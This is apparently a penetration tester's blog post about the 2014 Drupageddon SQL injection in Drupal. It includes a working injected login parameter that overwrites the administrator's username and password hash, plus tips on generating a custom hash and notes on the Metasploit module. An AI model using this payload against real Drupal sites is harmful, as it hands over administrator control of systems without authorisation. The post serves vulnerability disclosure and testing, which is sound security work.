So an unauthenticated SQLi vulnerability dropped on the Internet today. Referred to as #drupageddon and classified as CVE-2014-3704, it is a pretty nifty SQLi flaw, and the PoC is floating about now, most notably on /r/netsec and Pastebin.

As it turns out, I was testing a Drupal installation for a client, and I do have a VM with Drupal installed handy. It was REALLY REALLY lucky that 1) their site is still in pre-production, and 2) they have an IP filter in place so that only authorised testers can reach it. Anyway, I fired the VM up to see the effects:

Normal Drupal POST login

Replace

name=aaa

with

name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test

Modified POST login. Note the “name[0]=test” string present.

To generate your own encrypted password string instead of using others’, you can use Drupal’s password_hash script to generate and paste the output inside your modified request.

I’m not sure which vulnerability started the trend of naming them after catchy and easy-to-reference names. We have had Heartbleed (CVE-2014-0160), Shellshock (CVE-2014-6271, CVE-2014-7169), Sandworm (CVE-2014-4114), POODLE (CVE-2014-3566), and many many others. I’ve found myself writing a lot of “aka ‘BEAST attack'” or the likes in my reports.

And on a sidenote, it’s good to see that I can finally write about SSLv3 having no place in production environments. 🙂

Edit: And a quick shoutout to a tool I was using my assessing my client’s webapp – CMSmap could be used to enumerate Drupal, Joomla, and WordPress sites, although during my recent test, it seemed to report a few false positives. And it has not been updated for Drupageddon. But as usual, we have Metasploit for that! 🙂

Edit x2: I just played around with the Metasploit exploit module, and here are the corresponding screenshots and pcap file.

Exploit options

Exploit run

PCAP file available here (Mega).